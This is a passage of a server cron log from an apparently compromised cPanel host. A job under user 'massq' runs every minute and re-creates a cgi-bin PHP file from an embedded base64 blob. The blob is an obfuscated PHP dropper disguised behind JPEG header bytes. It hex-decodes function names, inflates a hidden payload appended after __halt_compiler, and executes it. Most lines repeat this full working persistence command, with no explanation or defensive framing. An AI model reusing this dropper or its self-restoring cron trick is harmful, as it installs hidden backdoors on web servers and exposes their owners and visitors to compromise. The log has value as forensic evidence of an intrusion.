Hg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:39:02 server CROND[16757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:39:02 server CROND[16758]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 09:40:01 server CROND[16819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:40:01 server CROND[16820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:40:01 server CROND[16821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:40:01 server CROND[16822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:41:01 server CROND[16929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:42:01 server CROND[17081]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 09:42:01 server CROND[17083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:43:01 server CROND[17141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:44:01 server CROND[17194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:45:01 server CROND[17266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:45:01 server CROND[17267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:45:01 server CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:46:01 server CROND[17387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:47:01 server CROND[17454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:48:01 server CROND[17603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:49:01 server CROND[17668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:50:01 server CROND[17735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:50:01 server CROND[17737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 09:50:01 server CROND[17739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:50:01 server CROND[17740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:50:01 server CROND[17738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:51:01 server CROND[17858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
